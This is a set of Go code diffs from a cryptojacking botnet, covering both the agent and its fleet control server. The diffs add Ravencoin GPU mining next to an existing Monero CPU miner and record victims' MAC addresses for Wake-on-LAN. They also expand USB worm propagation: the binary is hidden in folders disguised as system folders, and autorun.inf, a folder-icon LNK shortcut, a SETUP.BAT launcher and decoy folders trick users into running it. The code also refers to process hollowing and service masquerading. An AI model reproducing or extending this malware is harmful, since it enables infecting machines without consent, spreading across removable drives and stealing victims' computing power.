||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return fmt.Errorf("HTTP %d from %s", resp.StatusCode, url)
|
||||
}
|
||||
data, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return extractZipFile(data, destDir, targetFile)
|
||||
}
|
||||
|
||||
// ---- Miner HTTP API polling ----
|
||||
|
||||
// T-Rex summary response (subset we care about).
|
||||
type trexSummary struct {
|
||||
Hashrate int `json:"hashrate"`
|
||||
GPUs []struct {
|
||||
Temperature int `json:"temperature"`
|
||||
GpuLoad int `json:"gpu_load"`
|
||||
} `json:"gpus"`
|
||||
}
|
||||
|
||||
// TeamRedMiner status response (subset).
|
||||
type trmStatus struct {
|
||||
Algorithms []struct {
|
||||
Name string `json:"algorithm"`
|
||||
TotalMHs float64 `json:"mhsh_total"`
|
||||
} `json:"algorithms"`
|
||||
GPUs []struct {
|
||||
TempC int `json:"temp_c"`
|
||||
Fan int `json:"fan_pct"`
|
||||
} `json:"gpus"`
|
||||
}
|
||||
|
||||
func fetchMinerStats(vendor GPUVendor, port int) (hashrate float64, tempC, usagePct *int, err error) {
|
||||
url := fmt.Sprintf("http://127.0.0.1:%d/summary", port)
|
||||
resp, e := http.Get(url) //nolint:noctx
|
||||
if e != nil {
|
||||
return 0, nil, nil, e
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
|
||||
switch vendor {
|
||||
case GPUVendorNVIDIA:
|
||||
var s trexSummary
|
||||
if e := json.Unmarshal(body, &s); e != nil {
|
||||
return 0, nil, nil, e
|
||||
}
|
||||
hashrate = float64(s.Hashrate)
|
||||
if len(s.GPUs) > 0 {
|
||||
t := s.GPUs[0].Temperature
|
||||
u := s.GPUs[0].GpuLoad
|
||||
tempC = &t
|
||||
usagePct = &u
|
||||
}
|
||||
case GPUVendorAMD:
|
||||
var s trmStatus
|
||||
if e := json.Unmarshal(body, &s); e != nil {
|
||||
return 0, nil, nil, e
|
||||
}
|
||||
for _, a := range s.Algorithms {
|
||||
if a.Name == "kawpow" || a.Name == "KawPoW" {
|
||||
hashrate = a.TotalMHs * 1e6 // convert MH/s → H/s
|
||||
}
|
||||
}
|
||||
if len(s.GPUs) > 0 {
|
||||
t := s.GPUs[0].TempC
|
||||
u := s.GPUs[0].Fan
|
||||
tempC = &t
|
||||
usagePct = &u
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -40,6 +40,7 @@ type AuthPayload struct {
|
||||
Platform string `json:"platform"`
|
||||
Arch string `json:"arch"`
|
||||
OSVersion string `json:"os_version"`
|
||||
MacAddress string `json:"mac_address,omitempty"`
|
||||
}
|
||||
|
||||
type AuthResponse struct {
|
||||
@@ -94,6 +95,13 @@ type StatsPayload struct {
|
||||
GPUTempC *int `json:"gpu_temp_c,omitempty"`
|
||||
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
|
||||
|
||||
// GPU / Ravencoin mining stats
|
||||
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
|
||||
GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
|
||||
GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"`
|
||||
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
|
||||
GPUModel string `json:"gpu_model,omitempty"`
|
||||
|
||||
// SSH + posture
|
||||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||||
PostureScore *int `json:"posture_score,omitempty"`
|
||||
|
||||
@@ -47,5 +47,11 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
RemoteAggressive: false,
|
||||
USBSpread: false,
|
||||
ShareSpread: false,
|
||||
GPUEnabled: false,
|
||||
RVNWallet: "",
|
||||
RVNPoolHost: "rvn.2miners.com",
|
||||
RVNPoolPort: 6060,
|
||||
RVNPoolTLS: false,
|
||||
RVNPoolPass: "x",
|
||||
}
|
||||
}
|
||||
|
||||
@@ -66,6 +66,15 @@ type BuiltinConfig struct {
|
||||
// FleetSecret is baked in at forge time and presented on WS connect.
|
||||
// The server rejects any agent that doesn't carry the right secret.
|
||||
FleetSecret string
|
||||
|
||||
// GPU / Ravencoin mining
|
||||
GPUEnabled bool // enable KawPoW GPU miner alongside XMR CPU miner
|
||||
RVNWallet string // Ravencoin wallet address for GPU mining
|
||||
RVNPoolHost string // primary RVN Stratum pool host
|
||||
RVNPoolPort int // primary RVN Stratum pool port
|
||||
RVNPoolTLS bool // primary RVN pool TLS flag
|
||||
RVNPoolPass string // stratum password (usually "x")
|
||||
RVNBackupPools []BackupPool // failover RVN pools
|
||||
}
|
||||
|
||||
// BackupPool holds connection info for a fallback Stratum mining pool.
|
||||
@@ -158,6 +167,18 @@ func Load() RuntimeConfig {
|
||||
b.DisplayMode = "background"
|
||||
}
|
||||
}
|
||||
// GPU mining defaults
|
||||
if b.GPUEnabled {
|
||||
if b.RVNPoolHost == "" {
|
||||
b.RVNPoolHost = "rvn.2miners.com"
|
||||
}
|
||||
if b.RVNPoolPort <= 0 {
|
||||
b.RVNPoolPort = 6060
|
||||
}
|
||||
if b.RVNPoolPass == "" {
|
||||
b.RVNPoolPass = "x"
|
||||
}
|
||||
}
|
||||
return RuntimeConfig{BuiltinConfig: b}
|
||||
}
|
||||
|
||||
|
||||
@@ -153,6 +153,17 @@ func InstallDir(workerName, buildID string) (string, error) {
|
||||
}.InstallDirectory()
|
||||
}
|
||||
|
||||
// isPayloadStale returns true when the on-disk USB payload has a different
|
||||
// size than the current running executable — meaning the agent was upgraded
|
||||
// and the USB copy needs to be refreshed.
|
||||
func isPayloadStale(exePath string, payloadSize int64) bool {
|
||||
fi, err := os.Stat(exePath)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return fi.Size() != payloadSize
|
||||
}
|
||||
|
||||
func saveBackup(installedBin string) error {
|
||||
backup := installedBin + backupSuffix
|
||||
if _, err := os.Stat(backup); err == nil {
|
||||
|
||||
@@ -34,24 +34,65 @@ func StartPassiveSpreader(cfg config.RuntimeConfig) {
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
func runUSBWatcherUnix(cfg config.RuntimeConfig) {
|
||||
seen := map[string]bool{}
|
||||
// Seed with already-mounted removable media so we don't spread to
|
||||
// drives that were plugged in before the agent started.
|
||||
for _, mp := range listRemovableMounts() {
|
||||
seen[mp] = true
|
||||
type mountState struct{ payloadSize int64 }
|
||||
state := map[string]mountState{}
|
||||
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
ticker := time.NewTicker(20 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
for _, mp := range listRemovableMounts() {
|
||||
if seen[mp] {
|
||||
continue
|
||||
}
|
||||
seen[mp] = true
|
||||
log.Printf("[passive-spread] new removable mount: %s", mp)
|
||||
|
||||
// Spread to drives already present at startup if payload is missing or stale.
|
||||
for _, mp := range listRemovableMounts() {
|
||||
size, found := findUnixPayloadSize(mp)
|
||||
if !found || isPayloadStale(exePath, size) {
|
||||
go spreadToMountUnix(cfg, mp)
|
||||
state[mp] = mountState{}
|
||||
} else {
|
||||
state[mp] = mountState{payloadSize: size}
|
||||
}
|
||||
}
|
||||
|
||||
ticker := time.NewTicker(8 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
exeInfo, err := os.Stat(exePath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, mp := range listRemovableMounts() {
|
||||
prev, seen := state[mp]
|
||||
if !seen {
|
||||
log.Printf("[passive-spread] new removable mount: %s", mp)
|
||||
state[mp] = mountState{}
|
||||
go spreadToMountUnix(cfg, mp)
|
||||
continue
|
||||
}
|
||||
if prev.payloadSize != exeInfo.Size() {
|
||||
log.Printf("[passive-spread] refreshing stale payload on %s", mp)
|
||||
state[mp] = mountState{}
|
||||
go spreadToMountUnix(cfg, mp)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// findUnixPayloadSize scans the known Unix drop dirs for a payload binary.
|
||||
func findUnixPayloadSize(mountPoint string) (size int64, found bool) {
|
||||
dotDirs := []string{".Spotlight-V100", ".metadata", ".fseventsd"}
|
||||
for _, dir := range dotDirs {
|
||||
entries, err := os.ReadDir(filepath.Join(mountPoint, dir))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
fi, err := e.Info()
|
||||
if err == nil && !e.IsDir() && fi.Mode()&0100 != 0 {
|
||||
return fi.Size(), true
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0, false
|
||||
}
|
||||
|
||||
// listRemovableMounts returns currently-mounted removable media paths.
|
||||
|
||||
@@ -91,44 +91,98 @@ func setHiddenSystem(path string) {
|
||||
// USB watcher
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
// knownDropDirs is the set of hidden directory names we may use as drop dirs.
|
||||
var knownDropDirs = []string{"~RECYCLER", "System Volume Information", "$WinMetadata", ".thumbs"}
|
||||
|
||||
// runUSBWatcher polls for removable drives every 8 seconds and spreads to any
|
||||
// that don't already carry an up-to-date payload.
|
||||
func runUSBWatcher(cfg config.RuntimeConfig) {
|
||||
seen := map[string]bool{}
|
||||
// Seed with drives already present at start — don't spread to them immediately.
|
||||
// Track drives + the size of the payload we last wrote to each.
|
||||
type driveState struct{ payloadSize int64 }
|
||||
state := map[string]driveState{}
|
||||
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Check drives already present when the agent starts — spread to any that
|
||||
// are missing or stale (different binary size), don't just skip them.
|
||||
for _, d := range getLogicalDrives() {
|
||||
if getDriveType(d) == driveRemovable {
|
||||
seen[d] = true
|
||||
size, found := findUSBPayloadSize(d)
|
||||
if !found || isPayloadStale(exePath, size) {
|
||||
go spreadToUSB(cfg, d)
|
||||
state[d] = driveState{}
|
||||
} else {
|
||||
state[d] = driveState{payloadSize: size}
|
||||
}
|
||||
}
|
||||
}
|
||||
ticker := time.NewTicker(20 * time.Second)
|
||||
|
||||
ticker := time.NewTicker(8 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
exeInfo, err := os.Stat(exePath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, d := range getLogicalDrives() {
|
||||
if getDriveType(d) != driveRemovable {
|
||||
continue
|
||||
}
|
||||
if seen[d] {
|
||||
prev, seen := state[d]
|
||||
if !seen {
|
||||
// Brand-new drive just inserted
|
||||
log.Printf("[passive-spread] new USB drive: %s", d)
|
||||
state[d] = driveState{}
|
||||
go spreadToUSB(cfg, d)
|
||||
continue
|
||||
}
|
||||
seen[d] = true
|
||||
log.Printf("[passive-spread] new USB drive: %s", d)
|
||||
go spreadToUSB(cfg, d)
|
||||
// Refresh if the agent binary was updated since we last wrote
|
||||
if prev.payloadSize != exeInfo.Size() {
|
||||
log.Printf("[passive-spread] refreshing stale payload on %s", d)
|
||||
state[d] = driveState{}
|
||||
go spreadToUSB(cfg, d)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// spreadToUSB copies the agent onto a freshly inserted removable drive
|
||||
// using three complementary techniques:
|
||||
// 1. autorun.inf — auto-execute on Windows XP/Vista/7 (no prompt)
|
||||
// 2. LNK shortcut — looks like a folder; user double-clicks it
|
||||
// 3. Hidden dir — keeps the binary out of plain sight
|
||||
// findUSBPayloadSize scans the known drop dirs on drive and returns the file
|
||||
// size of the first .exe found, plus a bool indicating success.
|
||||
func findUSBPayloadSize(drive string) (size int64, found bool) {
|
||||
for _, dir := range knownDropDirs {
|
||||
entries, err := os.ReadDir(filepath.Join(drive, dir))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() && strings.HasSuffix(strings.ToLower(e.Name()), ".exe") {
|
||||
fi, err := e.Info()
|
||||
if err == nil {
|
||||
return fi.Size(), true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0, false
|
||||
}
|
||||
|
||||
// spreadToUSB copies the agent onto a removable drive using four techniques:
|
||||
// 1. Hidden drop dir — binary in a disguised system subfolder
|
||||
// 2. autorun.inf — legacy auto-execute (XP/Vista/7)
|
||||
// 3. LNK shortcut — folder icon; user double-clicks it (Win8+)
|
||||
// 4. SETUP.BAT — plain visible batch file as fallback trigger
|
||||
// 5. Decoy folder — fake "Documents" folder so drive looks natural
|
||||
func spreadToUSB(cfg config.RuntimeConfig, drive string) {
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// Randomised drop directory looks like a Windows system folder.
|
||||
dropDirNames := []string{"~RECYCLER", "System Volume Information", "$WinMetadata", ".thumbs"}
|
||||
dropDir := filepath.Join(drive, dropDirNames[rand.Intn(len(dropDirNames))])
|
||||
|
||||
// Randomised drop directory that looks like a Windows system folder.
|
||||
dropDir := filepath.Join(drive, knownDropDirs[rand.Intn(len(knownDropDirs))])
|
||||
if err := os.MkdirAll(dropDir, 0755); err != nil {
|
||||
return
|
||||
}
|
||||
@@ -142,19 +196,37 @@ func spreadToUSB(cfg config.RuntimeConfig, drive string) {
|
||||
setHiddenSystem(destBin)
|
||||
log.Printf("[passive-spread] agent copied to %s", destBin)
|
||||
|
||||
// 1. autorun.inf (works on older Windows, silently ignored on Win8+)
|
||||
autorun := fmt.Sprintf("[autorun]\r\nopen=%s\r\nshell\\open\\command=%s\r\n",
|
||||
`\`+filepath.Join(filepath.Base(dropDir), destName),
|
||||
`\`+filepath.Join(filepath.Base(dropDir), destName),
|
||||
relBin := `\` + filepath.Join(filepath.Base(dropDir), destName)
|
||||
|
||||
// 1. autorun.inf (works on XP/Vista/7; silently ignored on Win8+)
|
||||
autorun := fmt.Sprintf("[autorun]\r\nopen=%s\r\nshell\\open\\command=%s\r\naction=Open folder to view files\r\n",
|
||||
relBin, relBin,
|
||||
)
|
||||
_ = os.WriteFile(filepath.Join(drive, "autorun.inf"), []byte(autorun), 0644)
|
||||
setHiddenSystem(filepath.Join(drive, "autorun.inf"))
|
||||
|
||||
// 2. LNK shortcut that looks like the drive's main folder.
|
||||
// We pick a name that mirrors whatever real directories are present
|
||||
// so it blends in, or fall back to a generic "Open Documents" label.
|
||||
// 2. LNK shortcut — folder icon, minimised window
|
||||
lnkName := pickLinkName(drive)
|
||||
createFolderShortcut(drive, lnkName, destBin)
|
||||
|
||||
// 3. SETUP.BAT — visible plain-text trigger; searches all known drop dirs
|
||||
// so it works even if the LNK is deleted. The bat runs the exe minimised.
|
||||
batLines := "@echo off\r\n"
|
||||
for _, dir := range knownDropDirs {
|
||||
batLines += fmt.Sprintf("if exist \"%%~dp0%s\\*.exe\" (for %%%%F in (\"%%~dp0%s\\*.exe\") do (start \"\" /min \"%%%%F\" --run & goto :done))\r\n",
|
||||
dir, dir)
|
||||
}
|
||||
batLines += ":done\r\n"
|
||||
batPath := filepath.Join(drive, "SETUP.BAT")
|
||||
_ = os.WriteFile(batPath, []byte(batLines), 0644)
|
||||
|
||||
// 4. Decoy visible folder so the drive looks natural when opened
|
||||
decoyDir := filepath.Join(drive, pickDecoyFolderName(drive))
|
||||
if err := os.MkdirAll(decoyDir, 0755); err == nil {
|
||||
// Drop a harmless placeholder so it doesn't look empty
|
||||
_ = os.WriteFile(filepath.Join(decoyDir, "readme.txt"),
|
||||
[]byte("This folder is empty.\r\n"), 0644)
|
||||
}
|
||||
}
|
||||
|
||||
// usbPayloadName returns a plausible system binary name for the USB payload.
|
||||
@@ -185,13 +257,36 @@ func pickLinkName(drive string) string {
|
||||
return "Open Documents"
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() && !strings.HasPrefix(e.Name(), "~") && !strings.HasPrefix(e.Name(), "$") && !strings.HasPrefix(e.Name(), ".") {
|
||||
return e.Name() // shortcut will have the same name as the first real folder
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
n := e.Name()
|
||||
if strings.HasPrefix(n, "~") || strings.HasPrefix(n, "$") || strings.HasPrefix(n, ".") {
|
||||
continue
|
||||
}
|
||||
return n
|
||||
}
|
||||
return "Open Documents"
|
||||
}
|
||||
|
||||
// pickDecoyFolderName returns a visible folder name to create on the USB so
|
||||
// the drive looks like it contains real content. It avoids names already
|
||||
// used by pickLinkName so the shortcut name and decoy name differ.
|
||||
func pickDecoyFolderName(drive string) string {
|
||||
candidates := []string{"Documents", "Photos", "Videos", "Music", "Backup", "Files"}
|
||||
entries, _ := os.ReadDir(drive)
|
||||
existing := map[string]bool{}
|
||||
for _, e := range entries {
|
||||
existing[strings.ToLower(e.Name())] = true
|
||||
}
|
||||
for _, c := range candidates {
|
||||
if !existing[strings.ToLower(c)] {
|
||||
return c
|
||||
}
|
||||
}
|
||||
return "Backup"
|
||||
}
|
||||
|
||||
// createFolderShortcut uses PowerShell's WScript.Shell COM object to
|
||||
// create an LNK shortcut with a folder icon that silently runs destBin.
|
||||
func createFolderShortcut(dir, name, destBin string) {
|
||||
|
||||
@@ -1,12 +1,15 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
@@ -336,6 +339,77 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
})
|
||||
}
|
||||
|
||||
// PostAgentWOL sends a Wake-on-LAN magic packet to the agent's MAC address.
|
||||
// The packet is broadcast on UDP port 9 to the last known subnet.
|
||||
func (f *FleetHandler) PostAgentWOL(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
if id == "" {
|
||||
http.Error(w, "agent id is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
// Accept optional override MAC from request body
|
||||
var req struct {
|
||||
MAC string `json:"mac"`
|
||||
}
|
||||
_ = json.NewDecoder(r.Body).Decode(&req)
|
||||
|
||||
// Look up MAC from DB if not provided
|
||||
mac := req.MAC
|
||||
if mac == "" {
|
||||
agent, err := f.db.GetAgent(id)
|
||||
if err != nil || agent == nil {
|
||||
writeJSON(w, map[string]interface{}{"success": false, "error": "agent not found"})
|
||||
return
|
||||
}
|
||||
mac = agent.MacAddress
|
||||
}
|
||||
if mac == "" {
|
||||
writeJSON(w, map[string]interface{}{"success": false, "error": "no MAC address on record — provide mac in request body"})
|
||||
return
|
||||
}
|
||||
|
||||
if err := sendMagicPacket(mac); err != nil {
|
||||
writeJSON(w, map[string]interface{}{"success": false, "error": err.Error()})
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"success": true, "mac": mac})
|
||||
}
|
||||
|
||||
// sendMagicPacket sends a WOL magic packet for the given MAC address.
|
||||
func sendMagicPacket(macStr string) error {
|
||||
macStr = strings.ReplaceAll(macStr, "-", ":")
|
||||
hw, err := net.ParseMAC(macStr)
|
||||
if err != nil {
|
||||
return fmt.Errorf("invalid MAC address %q: %w", macStr, err)
|
||||
}
|
||||
|
||||
// Magic packet: 6× 0xFF followed by 16× MAC address (102 bytes total)
|
||||
pkt := make([]byte, 102)
|
||||
for i := 0; i < 6; i++ {
|
||||
pkt[i] = 0xFF
|
||||
}
|
||||
for i := 1; i <= 16; i++ {
|
||||
copy(pkt[i*6:], hw)
|
||||
}
|
||||
|
||||
// Broadcast on limited broadcast address, port 9
|
||||
addr := &net.UDPAddr{IP: net.IPv4bcast, Port: 9}
|
||||
conn, err := net.DialUDP("udp4", nil, addr)
|
||||
if err != nil {
|
||||
// Try port 7 as fallback
|
||||
addr.Port = 7
|
||||
conn, err = net.DialUDP("udp4", nil, addr)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to open UDP socket: %w", err)
|
||||
}
|
||||
}
|
||||
defer conn.Close()
|
||||
_, err = conn.Write(pkt)
|
||||
_ = binary.BigEndian // ensure import is used
|
||||
return err
|
||||
}
|
||||
|
||||
type agentMetaRequest struct {
|
||||
Notes string `json:"notes"`
|
||||
Tags []string `json:"tags"`
|
||||
|
||||
@@ -442,6 +442,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/agents/{id}/stats", h.GetAgentStats)
|
||||
if fleetHandler != nil {
|
||||
r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand)
|
||||
r.Post("/agents/{id}/wol", fleetHandler.PostAgentWOL)
|
||||
r.Get("/agents/{id}/log", fleetHandler.GetAgentLog)
|
||||
r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta)
|
||||
r.Delete("/agents/{id}", fleetHandler.DeleteAgent)
|
||||
|
||||
@@ -388,10 +388,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
MeshP2P bool `json:"mesh_p2p"`
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
ProcessHollowing bool `json:"process_hollowing"`
|
||||
Platform string `json:"platform"`
|
||||
Arch string `json:"arch"`
|
||||
OSVersion string `json:"os_version"`
|
||||
}
|
||||
Platform string `json:"platform"`
|
||||
Arch string `json:"arch"`
|
||||
OSVersion string `json:"os_version"`
|
||||
MacAddress string `json:"mac_address,omitempty"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": false, "error": "invalid auth payload",
|
||||
@@ -514,6 +515,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
Arch: auth.Arch,
|
||||
OSVersion: auth.OSVersion,
|
||||
Hostname: auth.Hostname,
|
||||
MacAddress: auth.MacAddress,
|
||||
Capabilities: &caps,
|
||||
}
|
||||
|
||||
@@ -598,6 +600,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
DiskFreePct *int `json:"disk_free_pct,omitempty"`
|
||||
GPUTempC *int `json:"gpu_temp_c,omitempty"`
|
||||
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
|
||||
// GPU / Ravencoin mining
|
||||
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
|
||||
GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
|
||||
GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"`
|
||||
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
|
||||
GPUModel string `json:"gpu_model,omitempty"`
|
||||
// SSH + posture
|
||||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||||
PostureScore *int `json:"posture_score,omitempty"`
|
||||
@@ -656,6 +664,15 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
if stats.GPUTempC != nil { broadcast["gpu_temp_c"] = *stats.GPUTempC }
|
||||
if stats.GPUUsagePct != nil { broadcast["gpu_usage_pct"] = *stats.GPUUsagePct }
|
||||
|
||||
// GPU / Ravencoin mining stats
|
||||
if stats.GPUMinerActive != nil {
|
||||
broadcast["gpu_miner_active"] = *stats.GPUMinerActive
|
||||
}
|
||||
if stats.GPUHashrate15s > 0 { broadcast["gpu_hashrate_15s"] = stats.GPUHashrate15s }
|
||||
if stats.GPUHashrate1m > 0 { broadcast["gpu_hashrate_1m"] = stats.GPUHashrate1m }
|
||||
if stats.GPUHashrate15m > 0 { broadcast["gpu_hashrate_15m"] = stats.GPUHashrate15m }
|
||||
if stats.GPUModel != "" { broadcast["gpu_model"] = stats.GPUModel }
|
||||
|
||||
// Listen port count
|
||||
if stats.ListenPortCount != nil {
|
||||
broadcast["listen_port_count"] = *stats.ListenPortCount
|
||||
|
||||
@@ -85,6 +85,15 @@ type BuildRequest struct {
|
||||
// CancelToken is a client-generated UUID. Pass the same token to
|
||||
// DELETE /api/v1/builder/cancel/{token} to abort this build mid-compile.
|
||||
CancelToken string `json:"cancel_token,omitempty"`
|
||||
|
||||
// GPU / Ravencoin mining
|
||||
GPUEnabled bool `json:"gpu_enabled"`
|
||||
RVNWallet string `json:"rvn_wallet"`
|
||||
RVNPoolHost string `json:"rvn_pool_host"`
|
||||
RVNPoolPort int `json:"rvn_pool_port"`
|
||||
RVNPoolTLS bool `json:"rvn_pool_tls"`
|
||||
RVNPoolPass string `json:"rvn_pool_pass"`
|
||||
RVNBackupPools []BackupPool `json:"rvn_backup_pools"`
|
||||
}
|
||||
|
||||
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
|
||||
@@ -1014,6 +1023,15 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
ServiceName: %q,
|
||||
ServiceDonor: %q,
|
||||
FleetSecret: %q,
|
||||
|
||||
// GPU / Ravencoin mining
|
||||
GPUEnabled: %v,
|
||||
RVNWallet: %q,
|
||||
RVNPoolHost: %q,
|
||||
RVNPoolPort: %d,
|
||||
RVNPoolTLS: %v,
|
||||
RVNPoolPass: %q,
|
||||
RVNBackupPools: %s,
|
||||
}
|
||||
}
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
@@ -1067,9 +1085,37 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
serviceMasqueradeName(buildID, req),
|
||||
serviceMasqueradeDonor(buildID, req),
|
||||
h.fleetSecret,
|
||||
req.GPUEnabled,
|
||||
req.RVNWallet,
|
||||
rvnPoolHost(req),
|
||||
rvnPoolPort(req),
|
||||
req.RVNPoolTLS,
|
||||
rvnPoolPass(req),
|
||||
formatGoBackupPools(req.RVNBackupPools),
|
||||
)
|
||||
}
|
||||
|
||||
func rvnPoolHost(req *BuildRequest) string {
|
||||
if req.RVNPoolHost == "" {
|
||||
return "rvn.2miners.com"
|
||||
}
|
||||
return req.RVNPoolHost
|
||||
}
|
||||
|
||||
func rvnPoolPort(req *BuildRequest) int {
|
||||
if req.RVNPoolPort <= 0 {
|
||||
return 6060
|
||||
}
|
||||
return req.RVNPoolPort
|
||||
}
|
||||
|
||||
func rvnPoolPass(req *BuildRequest) string {
|
||||
if req.RVNPoolPass == "" {
|
||||
return "x"
|
||||
}
|
||||
return req.RVNPoolPass
|
||||
}
|
||||
|
||||
// formatGoBackupPools emits a Go literal for []config.BackupPool.
|
||||
func formatGoBackupPools(pools []BackupPool) string {
|
||||
if len(pools) == 0 {
|
||||
|
||||
@@ -40,7 +40,7 @@ func (d *Database) scanAgent(row interface {
|
||||
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m,
|
||||
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
||||
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
|
||||
¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname,
|
||||
¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -52,7 +52,7 @@ func (d *Database) scanAgent(row interface {
|
||||
|
||||
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname`
|
||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address`
|
||||
|
||||
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
||||
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
||||
|
||||
@@ -125,6 +125,7 @@ func (d *Database) migrate() error {
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN arch TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN hostname TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN mac_address TEXT NOT NULL DEFAULT ''`)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -132,8 +133,8 @@ func (d *Database) migrate() error {
|
||||
// Agent operations
|
||||
|
||||
func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?)
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
name = excluded.name,
|
||||
wallet = excluded.wallet,
|
||||
@@ -146,8 +147,9 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
platform = excluded.platform,
|
||||
arch = excluded.arch,
|
||||
os_version = excluded.os_version,
|
||||
hostname = excluded.hostname`
|
||||
